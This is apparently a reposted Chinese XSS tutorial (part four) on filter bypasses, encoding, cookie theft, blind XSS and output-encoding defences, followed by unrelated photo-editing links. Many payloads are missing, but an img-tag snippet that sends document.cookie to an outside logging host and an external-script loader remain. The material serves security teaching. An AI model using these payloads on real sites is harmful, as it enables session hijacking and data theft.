跨站脚本攻击(四)
itomcoil 2025-04-26 18:47 11 浏览
04
XSS漏洞挖掘技巧
4.1
常见的绕过姿势
实际应用中web程序往往会通过一些过滤规则来阻止带有恶意代码的用户输入被显示,但由于HTML语言的松散性和各种标签的不同优先级,使得我们绕过过滤规则成为了可能。
4.1.1 利用大小写绕过
HTML标签名和属性名是不区分大小写,我们可以全使用大写,或者混合使用,如下的几段代码都是可以被正确解析的:
4.1.2 使用未知标签
4.1.3 不使用空格和引号
4.1.4 不闭合标签
4.1.5 使用回车、Tab等符号截断javascript
而浏览器中解析器中词法分析器会跳过空白跟换行之类的无效字符
4.1.6 利用过滤器规则
4.2
HTML编码
HTML标签中的某些属性值可以使用ASCII方式进行编码:
如把尖括号编码[ < ] -----> html十进制: < html十六进制:<
4.3
Javascript编码
js提供了 3 种字符编码的策略:
· jsunicode编码,例如“e”编码为“\u0065”
· js十六进制,例如“e”编码为“\x65”
· js八进制,例如“e”编码为“\145”
4.4
跨站拆分法
安全研究员“剑心”发现某个网站存在XSS漏洞,漏洞出现在评论的联系方式处,但是,这处只能写入30个字符长度,必须的就占用了17个字符,剩下的只有13个字符可以支配,如此一来,这个XSS只能用来弹出一个警告框。
幸运的是,网站评论处可以重复留言,也就是说可以提交多个脚本标记,于是‘剑心’就巧妙的构造出以下XSS利用代码。
上述代码的作用是引入一个字符串变量Z,并且将下面的代码拆分开来。
document.write('
然后分几次将其嵌入到变量Z中,最后通过 eval(z) 巧妙地执行代码。
05
XSS漏洞利用
点击添加图片描述(最多60个字)
5.1
窃取Cookie
点击添加图片描述(最多60个字)
5.1.1 读取Cookie
直接在浏览器地址栏执行javascript:alert(document.cookie),就可以看到当前的cookie。
点击添加图片描述(最多60个字)
5.1.2 发送Cookie
5.1.2.1 利用img标签(最常用)
只需将alert(1)替换为以下Payload:
var img=document.createElement("img"); //创建一个img元素节点
img.src="
http://www.nsf-test-xss.com/log?cookie="+escape(document.cookie); //设置src属性
document.body.appendChild(img); //添加到body节点下
5.1.2.2 使用form表单
var a = escape(document.cookie)
document.getElementById("i").value=a; //读取cookie并填入value
document.getElementById("x").submit(); //提交表单
可以看到,页面跳转到了攻击者的网站,这对攻击者来说显然是很不友好的。
点击添加图片描述(最多60个字)
5.1.2.3 使用Ajax发送
Ajax的全称是Asynchronous JavaScript and XML(异步的 JavaScript 和 XML)。Ajax并不是一门新的语言,使用现有的JS语法。简单地讲,Ajax是高配版的JS form。
由于Ajax可以在不重载整个页面的情况下,对网页的某些部分进行更新。并且Ajax可以在后台传输数据,而对前台没有影响。
XMLHttpRequest是一个浏览器接口,使得Javascript可以进行HTTP(S)通信。
IE
Chrome
同域请求
ActiveXObject("Microsoft.XMLHTTP") ActiveXObject("MSXML2.XMLHTTP")
XMLHttpRequest
跨域请求
XDomainRequest
XMLHttpRequest
之前的web页面都是传递整个页面结果,导致浪费了大量的网络宽带。使用了Ajax技术之后,客户端只向服务器传输更新过的内容,借助于客户端的javascript处理服务器的响应。
点击添加图片描述(最多60个字)
事先把XMLHttpTrquest对象写在一个子程序汇总。数据在服务器URL后面,用“?”字符分割,问号后面的数据会被解析成键值。发送数据的MIME类型通常是
application/x-www-for-urlencode 使用XMLHttpRequest的优势,就是可以从服务器读取不同形式的文本数据,包括XML。
5.1.2.4 限制输入长度
对比上面三种传递方式,发现第二种的代码长度是最长的,这也是才构造了一个form表单,可想而知,若要构造出一个完整的页面进行钓鱼攻击,代码长度势必是不会短的。不仅仅是钓鱼,利用XSS获取用户页面信息、Web蠕虫等特殊情况下代码长度肯定也是很长的。然而实际环境下,很多情况服务端都会限制客户端的输入字符长度。
点击添加图片描述(最多60个字)
5.1.2.5 调用外部脚本
1. 静态创建
2. 动态创建
var s=document.createElement("script");
s.src="JS地址";
(document.body||document.documentElement).appendChild(s);
3. 图片方式调用外部JS
4.借用Jquery
$
我们经常使用向 $ 内传入一个字符串的方式来选择或生成 DOM 元素,但如果这个字符串是来自用户输入的话,那么这种方式就是有风险的。
先看一个 DEMO:
http://jsbin.com/duwuzonife/1/edit?html,js,output
$("");
当用户输入的字符串是像这样的时,虽然这个 元素不会马上被插入到网页的 DOM 中,但这个 DOM 元素已经被创建了,并且暂存在内存里。而对于 元素,只要设置了它的 src 属性,浏览器就会马上请求 src 属性所指向的资源。我们也可以利用这个特性做图片的预加载。在上面的示例代码中,创建元素的同时,也设置了它的属性,包括 src 属性和 onerror 事件监听器,所以浏览器会马上请求图片资源,显然请求不到,随机触发 onerror 的回调函数,也就执行了 JavaScript 代码。
推荐阅读 $ 的官方文档:
http://api.jquery.com/jQuery/
类似的其他方法
after()
.append()
.appendTo()
.before()
.html()
.insertAfter()
.insertBefore()
.prepend()
.prependTo()
.replaceAll()
.replaceWith()
.unwrap()
.wrap()
.wrapAll()
.wrapInner()
.prepend()
以上这些方法不仅创建 DOM 元素,并且会马上插入到页面的 DOM 树中。如果使用 `` 标签插入了内联 JS 会立即执行。
不安全的输入来源
document.URL *
document.location.pathname *
document.location.href *
document.location.search *
document.location.hash
document.referrer *
window.name
document.cookie
document 的大多数属性都可以通过全局的 window 对象访问到。加 * 的属性返回的时编码 (urlencode) 后的字符串,需要解码才可能造成威胁。
点击添加图片描述(最多60个字)
05
盲打
“明打”: 知道输出点情况,可以慢慢调整攻击代码。
“盲打”: 不清楚输出点情况,只能猜想。
盲打只是一种惯称的说法,就是不知道后台不知道有没有xss存在的情况下,不顾一切的输入xss代码在留言啊,feedback啊之类的地方,尽可能多的尝试xss的语句与语句的存在方式,就叫盲打。
”xss盲打“是指在攻击者对数据提交后展现的后台未知的情况下,网站采用了攻击者插入了带真实攻击功能的xss攻击代码(通常是使用script标签引入远程的js)的数据。当未知后台在展现时没有对这些提交的数据进行过滤,那么后台管理人员在操作时就会触发xss来实现攻击者预定好的“真实攻击功能”。
通俗讲就是见到输入框就输入提前准备的xss代码,通常是使用script标签引入远程的js代码,当有后台人员审核提交数据时候,点击了提交的数据,触发获取到有价值信息。
点击添加图片描述(最多60个字)
常见的输出场景
1. [输出点]
2.
3.
考虑多种情况,所以构造出XSS语句:
“'>
06
XSS漏洞防御
输入校验:长度限制、值类型是否正确、是否包含特殊字符。其实校验是对数据无害的,满足就放行,不满足就阻止,这样也能保证数据的原生态。
输出编码:根据输出的位置进行相应的编码,如HTMl编码、Javascript编码、URL编码。
具体对策
6.1
进入HTML标签之间时
比如,在之间,HTML编码转换规则如下:
& --> &
< --> <
\> --> >
“ --> "
' --> '
/ --> /
6.2
进入HTML普通属性值时
普通属性如 value、width、height等
如果属性值被单引号或是双引号包围了,那只要对单双引号进行HTML编码即可,若 没有引号包围,情况就复杂多了,还得考虑各种浏览器得解析方式,所以强烈建议属性值用引号引起来。
6.3
进入HTML特殊属性值时
特殊属性如 href、src、action等
进入这种属性时候需要特别注意,一不小心就可能漏掉某条规则,所以这种情况下建议使用白名单的方式来限制属性的行为。
6.4
进入CSS中时
CSS非常松散,如果是过滤具体摸个CSS属性值,比如width的值时,尽量避免出现“、’、;、}、{、(、)等特殊字符
如果允许用户完整地自定义CSS,则需要过滤掉javascript伪协议、expression、@import等,需要注意的时expression在IE6下对全角字符的处理xua
6.5
进入Javascript时
这种情况最为复杂,最好根据现场环境确定过滤对策,需要注意JS的三种编码方式。
现实环境
现实环境中,很多情况下我们并不需要像上面说的那样一个一个字符去过滤,因为大部分语言框架都已经有相对成熟的XSS防御方案了,只需要调用即可,而且也不推荐自行去实现过滤函数。
我们只要清楚地知道用户输入到最终的输出整个过程中的每个环节,保证在最终输出的时候是安全的,那么就可以防御住99%以上的XSS攻击了
· 作为开发人员,要有一定的安全意识,当编写一段代码的时候,要站在攻方的角度,来思考程序的安全性。
· 作为安全人员,要站在开发人员的角度来思考,推测开发人员的逻辑,寻找缺陷,并加以利用。
转自杭州美创科技有限公司公众号,如需二次转载,请联系marketing@mchz.com.cn
相关推荐
- PS小技巧 调整命令,让人物肤色变得更加白皙 #后期修图
-
我们来看一下如何去将人物的皮肤变得更加的白皙。·首先选中图层,Ctrl键加J键复制一层。·打开这里的属性面板,选择快速操作删除背景,这样就会将人物进行单独的抠取。·接下来在上方去添加一个黑白调整图层,...
- 把人物肤色提亮的方法和技巧
-
PS后期调白肤色提亮照片的方法。一白遮百丑,所以对于Photoshop后期来说把人物肤色调白是一项非常重要的任务。就拿这张素材图片来说,这张素材图片人脸的肤色主要偏红、偏黄,也不够白皙,该怎样对它进行...
- 《Photoshop教程》把美女图片调成清爽色彩及润肤技巧
-
关注PS精品教程,每天不断更新~~室内人物图片一般会偏暗,人物脸部、肤色及背景会出现一些杂点。处理之前需要认真的给人物磨皮及美白,然后再整体润色。最终效果原图一、用修补工具及图章工具简单去除大一点的黑...
- PS后期对皮肤进行美白的技巧
-
PS后期进行皮肤美白的技巧。PS后期对皮肤进行美白的技巧:·打开素材图片之后直接复制原图。·接下来直接点击上方的图像,选择应用图像命令。·在通道这里直接选择红通道,混合这里直接选择柔光,然后点击确定。...
- 493 [PS调色]调模特通透肤色
-
效果对比:效果图吧:1、光位图:2、拍摄参数:·快门:160;光圈:8;ISO:1003、步骤分解图:用曲线调整图层调出基本色调。用可选颜色调整图层调整红色、黄色、白色和灰色4种颜色的混合比例。用色彩...
- 先选肤色再涂面部,卡戴珊的摄影师透露:为明星拍完照后怎么修图
-
据英国媒体12月17日报道,真人秀明星金·卡戴珊终于承认,她把女儿小北P进了家族的圣诞贺卡,怪不得粉丝们都表示这张贺卡照得非常失败。上周,这位39岁的女星遭到了一些粉丝针对这张照片的批评,她于当地时间...
- 如何在PS中运用曲线复制另一张照片的色调
-
怎样把另一张作品的外观感觉,套用到自己的照片上?单靠肉眼来猜,可能很不容易,而来自BenSecret的教学,关键是在PS使用了两个工具,让你可以准确比较两张照片的曝光、色调与饱和度,方便你调整及复制...
- PS在LAB模式下调出水嫩肤色的美女
-
本PS教程主要使用Photoshop使用LAB模式调出水嫩肤色的美女,教程调色比较独特。作者比较注重图片高光部分的颜色,增加质感及肤色调红润等都是在高光区域完成。尤其在Lab模式下,用高光选区调色后图...
- 在Photoshop图像后期处理中如何将人物皮肤处理得白皙通透
-
我们在人像后期处理中,需要将人物皮肤处理的白皙通透,处理方法很多,大多数都喜欢使用曲线、磨皮等进行调整,可以达到亮但是不透,最终效果往往不是很好,今天就教大家一种如何将任务皮肤处理得白皙通透,希望能帮...
- PS调色自学教程:宝宝照片快速调通透,简单实用!
-
PS调色自学教程:宝宝照片快速调通透。·首先复制图层,然后选择进入ACR滤镜,选择曲线锁定照片的亮部,也就高光位置,其他部位补亮一点,尤其是阴影的部位补亮多一些,让画面的层次均匀一点。·然后回到基本项...
- 【干货】如何利用PS进行人物美化
-
人物图像美化在Photoshop中非常常用,Photoshop作为一款功能强大的图像处理软件,不仅可以对人像进行基本的调色、美化和修复等处理,还可以改变人物的线条和幅度,如调整脸部器官和脸型的大小、调...
- 教大家一种可以快速把肤色处理均匀的方法@抖音短视频
-
快速把肤色处理均匀的方法。今天教大家一种可以快速把肤色处理均匀的方法。像这张照片整体肤色走紫红色,但是局部偏黄缘处理起来非常的麻烦。其实我们只需要新建空白图层,图层混合模式更改为颜色,再选择画笔工具把...
- PS调色教程 利用RAW调出干净通透的肤色
-
要么不发,要么干货。后期教程来噜~用RAW调出干净通透的肤色。这次终于不会原片比PS后好看了吧。如果你依然这么觉得,请不要残忍的告诉我这个事实,泪谢TAT)附送拍摄花絮,感谢各位的支持更多风格请关注m...
- photoshop后期皮肤变白的技巧
-
PS后期皮肤变白的技巧。1.PS后期让皮肤变白的方法有很多种,接下来教你一种非常简单容易上手的方法。2.打开素材图片之后,直接在小太极下拉框的位置添加一个纯色调整图层,颜色设置一个纯白色,点击...
- Photoshop调出人物的淡雅粉嫩肤色教程
-
本教程主要使用Photoshop调出人物的淡雅粉嫩肤色教程,最终的效果非常的通透迷人,下面让我们一起来学习.出自:86ps效果图:原图:1、打开原图复制一层。2、用Topaz滤镜磨皮(点此下载)。3、...
- 一周热门
- 最近发表
- 标签列表
-
- ps像素和厘米换算 (32)
- ps图案在哪里 (33)
- super().__init__ (33)
- python 获取日期 (34)
- 0xa (36)
- super().__init__()详解 (33)
- python安装包在哪里找 (33)
- linux查看python版本信息 (35)
- python怎么改成中文 (35)
- php文件怎么在浏览器运行 (33)
- eval在python中的意思 (33)
- python安装opencv库 (35)
- python div (34)
- sticky css (33)
- python中random.randint()函数 (34)
- python去掉字符串中的指定字符 (33)
- python入门经典100题 (34)
- anaconda安装路径 (34)
- yield和return的区别 (33)
- 1到10的阶乘之和是多少 (35)
- python安装sklearn库 (33)
- dom和bom区别 (33)
- js 替换指定位置的字符 (33)
- python判断元素是否存在 (33)
- sorted key (33)